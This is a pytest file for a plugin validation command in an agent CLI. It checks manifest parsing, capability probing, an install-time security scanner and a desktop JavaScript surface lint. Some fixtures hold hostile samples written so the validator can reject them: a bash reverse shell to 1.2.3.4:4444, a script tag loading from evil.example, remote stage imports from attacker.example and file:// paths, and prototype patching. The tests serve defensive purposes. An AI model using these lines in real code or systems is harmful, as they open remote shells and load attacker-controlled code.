Files
hermes-agent/tests/hermes_cli/test_plugin_validate.py
ethernet 890bbbda1f Merge remote-tracking branch 'origin/main' into ethie/pm-clean
# Conflicts:
#	apps/desktop/e2e/archived-hidden-session-recoverable.spec.ts
#	apps/desktop/e2e/bot-chat-message-agent-friendly-name.spec.ts
#	apps/desktop/e2e/bot-mailbox-unreadable-ticket.spec.ts
#	apps/desktop/e2e/bot-mode-roster-localized.spec.ts
#	apps/desktop/e2e/bot-mode-row-click-mirrors-registry.spec.ts
#	apps/desktop/e2e/bot-mode-tab-shows-bot-name.spec.ts
#	apps/desktop/e2e/bot-roster-group-row-organisation.spec.ts
#	apps/desktop/e2e/bot-roster-ignores-infra-dirs.spec.ts
#	apps/desktop/e2e/bot-roster-timestamp-meta.spec.ts
#	apps/desktop/e2e/bot-roster-user-sections.spec.ts
#	apps/desktop/e2e/bot-routines-pane-narrow.spec.ts
#	apps/desktop/e2e/bot-row-open-recent-session.spec.ts
#	apps/desktop/e2e/bot-tile-ignores-ambient-composer-model.spec.ts
#	apps/desktop/e2e/group-composer-auto-grow.spec.ts
#	apps/desktop/e2e/group-create-gate-remote-roster.spec.ts
#	apps/desktop/e2e/group-prompt-renamed-primary-handle.spec.ts
#	apps/desktop/e2e/hosted-room-backend-continuity.spec.ts
#	apps/desktop/e2e/hosted-room-legacy-store-migration.spec.ts
#	apps/desktop/e2e/settings-scope-chips-bot-title.spec.ts
#	apps/desktop/e2e/worktree-branch-status.spec.ts
#	apps/desktop/electron/backend-probes.test.ts
#	apps/desktop/electron/connection-apply.test.ts
#	apps/desktop/electron/desktop-electron-pin.test.ts
#	apps/desktop/electron/desktop-uninstall.test.ts
#	apps/desktop/electron/gateway-file-download-transport.test.ts
#	apps/desktop/electron/gateway-stop-before-update.test.ts
#	apps/desktop/electron/github-api-auth.test.ts
#	apps/desktop/electron/registry-primary-profile-scope.test.ts
#	apps/desktop/electron/update-api-check.test.ts
#	apps/desktop/electron/update-handoff-marker.test.ts
#	apps/desktop/electron/venv-blocker-scan.test.ts
#	apps/desktop/scripts/after-extract.test.mjs
#	apps/desktop/scripts/local-pack-publish.test.mjs
#	apps/desktop/scripts/tasks-scroll.test.mjs
#	apps/desktop/src/app/settings/model-settings.test.tsx
#	apps/desktop/src/app/updates-overlay.blockers.test.tsx
#	apps/desktop/src/components/desktop-install-overlay.test.tsx
#	apps/desktop/src/lib/update-copy.test.ts
#	scripts/ci/check_os_marker_fakes.py
#	tests-js/desktop-mac-usage-descriptions.test.ts
#	tests-js/node-engine-alignment.test.ts
#	tests/agent/lsp/test_install_and_lint_fixes.py
#	tests/agent/test_command_token_source.py
#	tests/agent/test_compression_boundary_hook.py
#	tests/agent/test_create_openai_client_ssl_verify.py
#	tests/agent/test_custom_provider_ca_probes.py
#	tests/agent/test_endpoint_blackhole.py
#	tests/agent/test_estimator_parity.py
#	tests/agent/test_in_place_compaction.py
#	tests/agent/test_moa_loop_mode.py
#	tests/agent/test_model_metadata.py
#	tests/agent/test_skill_session_platform_gate.py
#	tests/agent/test_skill_utils.py
#	tests/agent/test_ssl_ca_guard.py
#	tests/computer_use/test_doctor.py
#	tests/cron/test_codex_execution_paths.py
#	tests/cron/test_cron_bot_chat_delivery.py
#	tests/cron/test_cron_script.py
#	tests/cron/test_media_delivery_parity.py
#	tests/cron/test_misfire_catchup.py
#	tests/cron/test_parallel_pool.py
#	tests/cron/test_recurring_eagain_redispatch.py
#	tests/gateway/test_choice_picker.py
#	tests/gateway/test_control_socket_windows_live.py
#	tests/gateway/test_dingtalk.py
#	tests/gateway/test_feishu.py
#	tests/gateway/test_feishu_onboard.py
#	tests/gateway/test_gateway_shutdown.py
#	tests/gateway/test_matrix.py
#	tests/gateway/test_model_command_custom_providers.py
#	tests/gateway/test_reasoning_command.py
#	tests/gateway/test_runtime_footer.py
#	tests/gateway/test_session.py
#	tests/gateway/test_session_hygiene.py
#	tests/gateway/test_status.py
#	tests/gateway/test_teams.py
#	tests/gateway/test_turn_lease.py
#	tests/gateway/test_whatsapp_connect.py
#	tests/hermes_cli/test_approvals_command.py
#	tests/hermes_cli/test_auth_store_lock_concurrent.py
#	tests/hermes_cli/test_backup.py
#	tests/hermes_cli/test_banner_git_state.py
#	tests/hermes_cli/test_certifi_repair.py
#	tests/hermes_cli/test_cmd_update.py
#	tests/hermes_cli/test_compat_manifest_targets.py
#	tests/hermes_cli/test_computer_use_cli.py
#	tests/hermes_cli/test_cpr_local_leak.py
#	tests/hermes_cli/test_dashboard_auth_gate.py
#	tests/hermes_cli/test_dashboard_procs_kill_grace.py
#	tests/hermes_cli/test_desktop_lifecycle_windows_live.py
#	tests/hermes_cli/test_doctor.py
#	tests/hermes_cli/test_doctor_command_install.py
#	tests/hermes_cli/test_fleet_config_migration_windows_live.py
#	tests/hermes_cli/test_gateway.py
#	tests/hermes_cli/test_gateway_platform_gating.py
#	tests/hermes_cli/test_gateway_restart_loop.py
#	tests/hermes_cli/test_gateway_task_probe.py
#	tests/hermes_cli/test_gateway_wsl.py
#	tests/hermes_cli/test_gui_command.py
#	tests/hermes_cli/test_install_cua_driver.py
#	tests/hermes_cli/test_kanban_db.py
#	tests/hermes_cli/test_lazy_command_exports.py
#	tests/hermes_cli/test_lazy_refresh_venv_repair.py
#	tests/hermes_cli/test_linux_desktop_entry.py
#	tests/hermes_cli/test_local_runtime.py
#	tests/hermes_cli/test_local_runtime_updates.py
#	tests/hermes_cli/test_managed_uv.py
#	tests/hermes_cli/test_mcp_reload_confirm_gate.py
#	tests/hermes_cli/test_nous_subscription.py
#	tests/hermes_cli/test_npm_engine.py
#	tests/hermes_cli/test_personality_none.py
#	tests/hermes_cli/test_pet_toggle.py
#	tests/hermes_cli/test_plan_reconciliation_windows_live.py
#	tests/hermes_cli/test_plugin_event_bus.py
#	tests/hermes_cli/test_plugin_manifest_v2.py
#	tests/hermes_cli/test_plugin_packs.py
#	tests/hermes_cli/test_plugins_cmd.py
#	tests/hermes_cli/test_plugins_cmd_enable_disable_nested.py
#	tests/hermes_cli/test_process_identity.py
#	tests/hermes_cli/test_profiles.py
#	tests/hermes_cli/test_profiles_sidebar_cache.py
#	tests/hermes_cli/test_pty_bridge.py
#	tests/hermes_cli/test_resolve_turn_limit.py
#	tests/hermes_cli/test_serve_runtime_inventory.py
#	tests/hermes_cli/test_session_vacuum_config.py
#	tests/hermes_cli/test_set_config_value.py
#	tests/hermes_cli/test_signal_handler_kanban_worker.py
#	tests/hermes_cli/test_slash_confirm_windows.py
#	tests/hermes_cli/test_stale_pid_guard.py
#	tests/hermes_cli/test_startup_fast_guards.py
#	tests/hermes_cli/test_status.py
#	tests/hermes_cli/test_telegram_managed_bot.py
#	tests/hermes_cli/test_tools_config.py
#	tests/hermes_cli/test_update_apply_shallow_count.py
#	tests/hermes_cli/test_update_autostash.py
#	tests/hermes_cli/test_update_concurrent_quarantine.py
#	tests/hermes_cli/test_update_fetch_failure_classifier.py
#	tests/hermes_cli/test_update_fleet_probe_resume_token.py
#	tests/hermes_cli/test_update_handoff_backend_reap.py
#	tests/hermes_cli/test_update_handoff_desktop_rebuild.py
#	tests/hermes_cli/test_update_head_moved_gate.py
#	tests/hermes_cli/test_update_host_obligation.py
#	tests/hermes_cli/test_update_import_guard.py
#	tests/hermes_cli/test_update_interrupted_recovery.py
#	tests/hermes_cli/test_update_inventory.py
#	tests/hermes_cli/test_update_launchd_unloaded_gateway.py
#	tests/hermes_cli/test_update_missing_configured_deps.py
#	tests/hermes_cli/test_update_modified_notice.py
#	tests/hermes_cli/test_update_multiplex_migration_hook.py
#	tests/hermes_cli/test_update_no_gateway_restart.py
#	tests/hermes_cli/test_update_orphan_backend_reap.py
#	tests/hermes_cli/test_update_parked_branch_guard.py
#	tests/hermes_cli/test_update_post_pull_syntax_guard.py
#	tests/hermes_cli/test_update_receipt.py
#	tests/hermes_cli/test_update_self_lock.py
#	tests/hermes_cli/test_update_shim_fail_closed.py
#	tests/hermes_cli/test_update_shim_self_lock.py
#	tests/hermes_cli/test_update_sqlite_remediation.py
#	tests/hermes_cli/test_update_stale_dashboard.py
#	tests/hermes_cli/test_update_stale_virtualenv.py
#	tests/hermes_cli/test_update_venv_health.py
#	tests/hermes_cli/test_update_venv_ownership_preflight.py
#	tests/hermes_cli/test_update_wedged_gateway.py
#	tests/hermes_cli/test_update_yes_flag.py
#	tests/hermes_cli/test_update_zip_two_phase.py
#	tests/hermes_cli/test_urllib_security.py
#	tests/hermes_cli/test_ux_messages_auth_config.py
#	tests/hermes_cli/test_ux_messages_startup.py
#	tests/hermes_cli/test_venv_holder_classifier.py
#	tests/hermes_cli/test_verify_console_scripts.py
#	tests/hermes_cli/test_verify_core_dependencies.py
#	tests/hermes_cli/test_web_server.py
#	tests/hermes_cli/test_web_server_console_ws.py
#	tests/hermes_cli/test_web_server_ws_ping.py
#	tests/hermes_cli/test_web_ui_build.py
#	tests/hermes_state/test_fts_rebuild_admission.py
#	tests/hermes_state/test_hermes_state.py
#	tests/plugins/memory/test_memory_lazy_install.py
#	tests/plugins/test_google_meet_plugin.py
#	tests/plugins/test_langfuse_plugin.py
#	tests/plugins/test_security_guidance_plugin.py
#	tests/plugins/test_transform_llm_output_hook.py
#	tests/scripts/desktop_update/test_desktop_update_windows_gateway_flag.py
#	tests/scripts/desktop_update/test_desktop_update_windows_python_handoff.py
#	tests/scripts/desktop_update/test_desktop_update_windows_timestamp.py
#	tests/scripts/install/test_install_clone_throttle_fallback.py
#	tests/scripts/install/test_install_lockfile_churn.py
#	tests/scripts/install/test_install_no_initial_commit.py
#	tests/scripts/install/test_install_sh_browser_install.py
#	tests/scripts/install/test_install_sh_node_prerelease.py
#	tests/scripts/install/test_install_sh_symlink_stomp.py
#	tests/scripts/install/test_install_sh_uv_lock_config.py
#	tests/scripts/install/test_install_unmerged_index.py
#	tests/scripts/test_contributor_map.py
#	tests/scripts/test_run_tests_parallel.py
#	tests/skills/test_competitor_news_monitor_skill.py
#	tests/skills/test_document_to_action_items_skill.py
#	tests/skills/test_google_workspace_setup.py
#	tests/skills/test_google_workspace_setup_deps.py
#	tests/skills/test_grounded_citations_skill.py
#	tests/skills/test_ip_as_logo_skill.py
#	tests/skills/test_live_dashboard_skill.py
#	tests/skills/test_mcp_oauth_remote_gateway_skill.py
#	tests/skills/test_office_document_skills.py
#	tests/skills/test_openclaw_migration.py
#	tests/skills/test_product_price_monitor_skill.py
#	tests/skills/test_scrollcraft_skill.py
#	tests/skills/test_setup_wizard_generator_skill.py
#	tests/skills/test_weekly_review_planning_skill.py
#	tests/test_engines_satisfiable.py
#	tests/test_fast_safe_load.py
#	tests/test_hermes_bootstrap.py
#	tests/test_hermes_constants.py
#	tests/test_hermes_logging.py
#	tests/test_managed_runtime_resolution.py
#	tests/test_model_tools_async_bridge.py
#	tests/test_packaging_build_guard.py
#	tests/test_packaging_metadata.py
#	tests/test_yaml_indent_consistency.py
#	tests/tools/test_approval_timeout_overflow.py
#	tests/tools/test_base_environment.py
#	tests/tools/test_bot_mode_dm.py
#	tests/tools/test_browser_chromium_check.py
#	tests/tools/test_browser_hardening.py
#	tests/tools/test_browser_homebrew_paths.py
#	tests/tools/test_browser_npx_warmup.py
#	tests/tools/test_browser_orphan_reaper.py
#	tests/tools/test_browser_real_profile.py
#	tests/tools/test_browser_use_cli.py
#	tests/tools/test_clipboard.py
#	tests/tools/test_code_execution.py
#	tests/tools/test_code_execution_modes.py
#	tests/tools/test_code_execution_windows_env.py
#	tests/tools/test_computer_use.py
#	tests/tools/test_delegate_liveness_timeout.py
#	tests/tools/test_execute_code_approval_cluster.py
#	tests/tools/test_execution_flag_detection.py
#	tests/tools/test_fal_common.py
#	tests/tools/test_file_operations.py
#	tests/tools/test_file_tools.py
#	tests/tools/test_file_tools_cwd_resolution.py
#	tests/tools/test_file_tools_live.py
#	tests/tools/test_lazy_deps.py
#	tests/tools/test_lazy_deps_durable_target.py
#	tests/tools/test_lazy_deps_managed.py
#	tests/tools/test_local_env_blocklist.py
#	tests/tools/test_local_tempdir.py
#	tests/tools/test_macos_protected_search.py
#	tests/tools/test_mcp_npx_cached_bin.py
#	tests/tools/test_oneshot_completion_linger.py
#	tests/tools/test_process_registry.py
#	tests/tools/test_read_file_schema_gating.py
#	tests/tools/test_skill_improvements.py
#	tests/tools/test_skills_sync.py
#	tests/tools/test_termux_api_detection.py
#	tests/tools/test_tirith_security.py
#	tests/tools/test_transcription_tools.py
#	tests/tools/test_tts_streaming.py
#	tests/tools/test_wake_word.py
#	tests/tui_gateway/test_compute_host_borrowed_lease.py
#	tests/tui_gateway/test_compute_host_turn_protocol.py
#	tests/tui_gateway/test_isolated_orphan_activity.py
#	tests/tui_gateway/test_protocol.py
#	tests/tui_gateway/test_slash_worker_profile_home.py
#	tests/tui_gateway/test_subprocess_encoding.py
#	tests/tui_gateway/test_tui_gateway_server.py
#	ui-tui/src/__tests__/terminalParity.test.ts
#	ui-tui/src/__tests__/termuxComposerLayout.test.ts
#	ui-tui/src/__tests__/textInputFastEcho.test.ts
2026-09-23 07:02:44 -04:00

339 lines
15 KiB
Python

"""Tests for ``hermes plugins validate`` (hermes_cli/plugin_validate.py).
Static manifest checks + subprocess-isolated capability probing against a
recording stub context.
"""
from __future__ import annotations
import json
from pathlib import Path
import hermes_yaml as yaml
from hermes_cli.plugin_validate import validate_plugin_dir
from hermes_cli.plugin_validate_desktop import desktop_surface_hits, is_desktop_surface
def _make_plugin(
tmp_path: Path,
*,
manifest: dict,
init_py: str = "def register(ctx):\n pass\n",
) -> Path:
d = tmp_path / manifest.get("name", "fixture-plugin")
d.mkdir(parents=True, exist_ok=True)
(d / "plugin.yaml").write_text(yaml.safe_dump(manifest), encoding="utf-8")
(d / "__init__.py").write_text(init_py, encoding="utf-8")
return d
def _portable_plugin(root: Path, servers: dict, declarations: dict) -> Path:
from hermes_cli.agent_plugins import MCP_SCHEMA_V1, PLUGIN_SCHEMA_V1
root.mkdir()
(root / "plugin.json").write_text(json.dumps({
"$schema": PLUGIN_SCHEMA_V1,
"name": "example-plugin",
"extensions": {"com.nousresearch.hermes": {"servers": declarations}},
}), encoding="utf-8")
(root / "mcp.json").write_text(json.dumps({
"$schema": MCP_SCHEMA_V1,
"mcpServers": servers,
}), encoding="utf-8")
return root
def test_portable_validation_fails_orphan_and_reports_availability(tmp_path: Path) -> None:
orphan = _portable_plugin(
tmp_path / "orphan",
{},
{"worker": {"requires": {"app": False}}},
)
report = validate_plugin_dir(orphan)
assert not report.ok
assert any("no matching mcp.json server" in failure for failure in report.failures)
app = tmp_path / "example-app"
declared = _portable_plugin(
tmp_path / "declared",
{"worker": {"type": "stdio", "command": "python"}},
{"worker": {
"app": {"darwin": {"presence": "executable", "location": str(app)}},
"requires": {"app": True},
}},
)
report = validate_plugin_dir(declared)
assert any(
name == "server availability: worker" and ok and detail in {"missing_app", "unsupported_os"}
for name, ok, detail in report.checks
)
BASE_MANIFEST = {
"name": "fixture-plugin",
"version": "1.0.0",
"description": "A fixture plugin.",
}
def test_requires_hermes_spec_is_validated(tmp_path):
manifest = dict(BASE_MANIFEST, description="café", requires_hermes=">=0.21")
d = _make_plugin(tmp_path, manifest=manifest)
(d / "plugin.yaml").write_text(yaml.safe_dump(manifest), encoding="utf-8-sig")
report = validate_plugin_dir(d)
assert report.ok, report.failures
assert any(name == "requires_hermes" and ok for name, ok, _ in report.checks)
def test_admission_runs_the_install_scanner(tmp_path):
"""Admission and install must agree: a tree the installer would hard-block (dangerous) fails
validation; caution findings are surfaced to the reviewer as warnings without failing."""
caution = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="caution-plugin"))
(caution / "helper.py").write_text("eval('1 + 1')\n", encoding="utf-8")
report = validate_plugin_dir(caution)
assert report.ok, report.failures
assert ("security scan", True, "caution") in report.checks
assert any(w.startswith("security scan caution:") for w in report.warnings)
dangerous = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="dangerous-plugin"))
(dangerous / "setup.sh").write_text("/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n", encoding="utf-8")
report = validate_plugin_dir(dangerous)
assert not report.ok
assert any(name == "security scan" and not ok for name, ok, _ in report.checks)
class TestCapabilityProbe:
def test_undeclared_tool_registration_fails_with_diff(self, tmp_path):
init = (
"def register(ctx):\n"
" ctx.register_tool('sneaky_tool', 'sneaky', {}, lambda a: '')\n"
)
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
report = validate_plugin_dir(d)
assert not report.ok
joined = " ".join(report.failures)
assert "sneaky_tool" in joined
assert "undeclared" in joined.lower()
def test_declared_and_registered_passes(self, tmp_path):
manifest = dict(BASE_MANIFEST, provides_tools=["good_tool"])
init = (
"def register(ctx):\n"
" ctx.register_tool('good_tool', 'good', {}, lambda a: '')\n"
)
d = _make_plugin(tmp_path, manifest=manifest, init_py=init)
report = validate_plugin_dir(d)
assert report.ok
def test_declared_but_not_registered_warns(self, tmp_path):
manifest = dict(BASE_MANIFEST, provides_tools=["phantom_tool"])
d = _make_plugin(tmp_path, manifest=manifest)
report = validate_plugin_dir(d)
assert report.ok # warn, not fail
assert any("phantom_tool" in w for w in report.warnings)
def test_undeclared_hook_registration_fails(self, tmp_path):
init = (
"def register(ctx):\n"
" ctx.register_hook('pre_tool_call', lambda **kw: None)\n"
)
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
report = validate_plugin_dir(d)
assert not report.ok
assert any("pre_tool_call" in f for f in report.failures)
def test_crashing_register_is_contained(self, tmp_path):
init = "def register(ctx):\n raise RuntimeError('boom')\n"
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
report = validate_plugin_dir(d) # must not raise / kill the CLI
assert not report.ok
assert any("boom" in f or "register()" in f for f in report.failures)
def test_import_time_os_exit_is_contained(self, tmp_path):
init = "import os\nos._exit(7)\n"
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
report = validate_plugin_dir(d)
assert not report.ok
def test_builtin_tool_collision_fails(self, tmp_path):
manifest = dict(BASE_MANIFEST, provides_tools=["terminal"])
init = (
"def register(ctx):\n"
" ctx.register_tool('terminal', 'shadow', {}, lambda a: '')\n"
)
d = _make_plugin(tmp_path, manifest=manifest, init_py=init)
report = validate_plugin_dir(d)
assert not report.ok
joined = " ".join(report.failures)
assert "terminal" in joined
assert "built-in" in joined
def test_probe_context_returns_get_config_defaults(self, tmp_path):
"""Real PluginContext.get_config yields the default when nothing is configured; the probe must
too, or every plugin doing ``int(ctx.get_config("timeout", 180))`` fails admission."""
d = _make_plugin(
tmp_path,
manifest={**BASE_MANIFEST, "provides_tools": ["t"]},
init_py=(
"def register(ctx):\n"
" int(ctx.get_config('timeout_seconds', 180))\n"
" ctx.register_tool('t', schema={}, handler=lambda **kw: None)\n"),
)
report = validate_plugin_dir(d)
assert report.ok, report.failures
def test_probe_context_has_real_context_attribute_surface(self, tmp_path):
"""An attribute the real PluginContext lacks must raise AttributeError in the probe too:
handing back a callable made ``getattr(ctx, "profile_path", None)`` truthy and crashed
register() only under validation."""
d = _make_plugin(
tmp_path,
manifest={**BASE_MANIFEST, "provides_tools": ["t"]},
init_py=(
"def register(ctx):\n"
" assert getattr(ctx, 'profile_path', None) is None\n"
" ctx.register_platform('probe', object)\n"
" ctx.register_tool('t', schema={}, handler=lambda **kw: None)\n"),
)
report = validate_plugin_dir(d)
assert report.ok, report.failures
class TestModelProviderKind:
def test_import_time_register_provider_is_the_entry_point(self, tmp_path):
"""``kind: model-provider`` plugins register at import via providers.register_provider and
are never handed a register(ctx); validate must accept that contract, not demand register()."""
d = _make_plugin(
tmp_path,
manifest={**BASE_MANIFEST, "name": "probe-provider", "kind": "model-provider"},
init_py=(
"from providers import register_provider\n"
"from providers.base import ProviderProfile\n"
"register_provider(ProviderProfile(name='probe_provider_fixture'))\n"),
)
report = validate_plugin_dir(d)
assert report.ok, report.failures
assert any(
name == "capability probe" and "probe_provider_fixture" in detail
for name, _ok, detail in report.checks
), report.checks
def test_provider_plugin_that_registers_nothing_fails(self, tmp_path):
d = _make_plugin(
tmp_path,
manifest={**BASE_MANIFEST, "name": "empty-provider", "kind": "model-provider"},
init_py="import providers\n",
)
report = validate_plugin_dir(d)
assert not report.ok
assert any("registered no ProviderProfile" in f for f in report.failures), report.failures
class TestRequiresHermesSpec:
"""A typo'd ``requires_hermes`` clause must fail admission, not silently gate nothing."""
def test_typoed_clause_fails_admission(self, tmp_path):
d = _make_plugin(
tmp_path, manifest={**BASE_MANIFEST, "requires_hermes": ">=0.21.1,<0.x"}
)
report = validate_plugin_dir(d)
assert not report.ok
assert any(
"requires_hermes" in f and "does not parse" in f for f in report.failures
), report.failures
class TestDesktopSurface:
"""Catalog-listed desktop plugins must stay inside the SDK surface: the renderer loader gives
plugin.js full app authority, so prototype patching / app-chunk imports are refused at admission."""
def _desktop_plugin(self, tmp_path, js: str) -> Path:
d = tmp_path / "desk"
(d / "desktop").mkdir(parents=True)
(d / "plugin.yaml").write_text(yaml.safe_dump(dict(BASE_MANIFEST, name="desk")), encoding="utf-8")
(d / "desktop" / "plugin.js").write_text(js, encoding="utf-8")
return d
def test_sdk_only_plugin_passes(self, tmp_path):
d = self._desktop_plugin(tmp_path, (
"import { definePlugin } from '@hermes/plugin-sdk'\n"
"// Storage.prototype.setItem = noop (comments are not code)\n"
"export default definePlugin({ id: 'desk', register(ctx) { ctx.storage.set('k', 1) } })\n"
))
report = validate_plugin_dir(d)
assert any(name == "desktop surface" and ok for name, ok, _ in report.checks)
def test_script_regex_literal_is_not_injection_but_string_is(self, tmp_path):
d = self._desktop_plugin(tmp_path, (
"const clean = html.replace(/<script[\\s\\S]*?<\\/script>/gi, '').replace(/<style[\\s\\S]*?<\\/style>/gi, '')\n"
"const ratio = total / count / 2\n"
"el.innerHTML = '<script src=\"https://evil.example/x.js\"></script>'\n"
"const tag = document.createElement('script')\n"
))
report = validate_plugin_dir(d)
failed = {name: detail for name, ok, detail in report.checks if not ok}
assert "desktop surface" in failed
assert ":1)" not in failed["desktop surface"]
assert "script injection (desktop/plugin.js:3)" in failed["desktop surface"]
assert "script injection (desktop/plugin.js:4)" in failed["desktop surface"]
def test_prototype_patch_and_chunk_import_fail(self, tmp_path):
d = self._desktop_plugin(tmp_path, (
"const raw = Storage.prototype.setItem\n"
"Storage.prototype.setItem = function (k, v) { return raw.call(this, k, v) }\n"
"const mod = await import(/* @vite-ignore */ new URL('./chunk.js', base).href)\n"
"const sdk = await import('@hermes/plugin-sdk')\n"
))
report = validate_plugin_dir(d)
failed = {name: detail for name, ok, detail in report.checks if not ok}
assert "desktop surface" in failed
assert "prototype patching (desktop/plugin.js:2)" in failed["desktop surface"]
assert "dynamic import outside the SDK (desktop/plugin.js:3)" in failed["desktop surface"]
assert ":4)" not in failed["desktop surface"]
def test_node_sidecar_and_test_mjs_outside_desktop_are_not_the_surface(self, tmp_path):
"""A tools plugin with a Node sidecar (``sidecar/*.mjs`` lazily importing a lockfile-pinned
dependency) and ``tests/*.test.mjs`` has no Desktop surface: the lint stays silent, and the
scoped helper batch tooling should use reports nothing for it."""
d = tmp_path / "sidecar-plugin"
(d / "sidecar").mkdir(parents=True)
(d / "tests").mkdir()
(d / "plugin.yaml").write_text(yaml.safe_dump(dict(BASE_MANIFEST, name="sidecar-plugin")), encoding="utf-8")
(d / "__init__.py").write_text("def register(ctx):\n pass\n", encoding="utf-8")
(d / "sidecar" / "cloud-service.mjs").write_text(
"export async function zip() { const { default: JSZip } = await import('jszip'); return new JSZip() }\n",
encoding="utf-8")
(d / "tests" / "cloud-sidecar.test.mjs").write_text("const fn = new Function('return 1')\n", encoding="utf-8")
report = validate_plugin_dir(d)
assert "desktop surface" not in {name for name, _ok, _detail in report.checks}
assert desktop_surface_hits(d) == []
assert not is_desktop_surface("sidecar/cloud-service.mjs") and not is_desktop_surface("tests/x.test.mjs")
def test_same_dynamic_import_in_desktop_plugin_js_still_fails(self, tmp_path):
d = self._desktop_plugin(tmp_path, "const { default: JSZip } = await import('jszip')\n")
report = validate_plugin_dir(d)
failed = {name: detail for name, ok, detail in report.checks if not ok}
assert "dynamic import outside the SDK (desktop/plugin.js:1)" in failed["desktop surface"]
assert desktop_surface_hits(d) == ["dynamic import outside the SDK (desktop/plugin.js:1)"]
assert is_desktop_surface("desktop/plugin.js")
def test_static_url_import_is_refused_like_the_dynamic_one(self, tmp_path):
"""`import 'https://…'` is a one-line second stage the dynamic-import rule never saw; the
loader refuses URL-scheme specifiers, so admission must too. SDK/react imports stay clean."""
d = self._desktop_plugin(
tmp_path,
"import { host } from '@hermes/plugin-sdk'\n"
"import React from \"react\"\n"
"import 'https://attacker.example/stage2.js'\n"
"import stage from \"file:///tmp/stage3.js\"\n"
"const note = 'see https://example.com'\n",
)
assert desktop_surface_hits(d) == [
"remote import outside the SDK (desktop/plugin.js:3)",
"remote import outside the SDK (desktop/plugin.js:4)",
]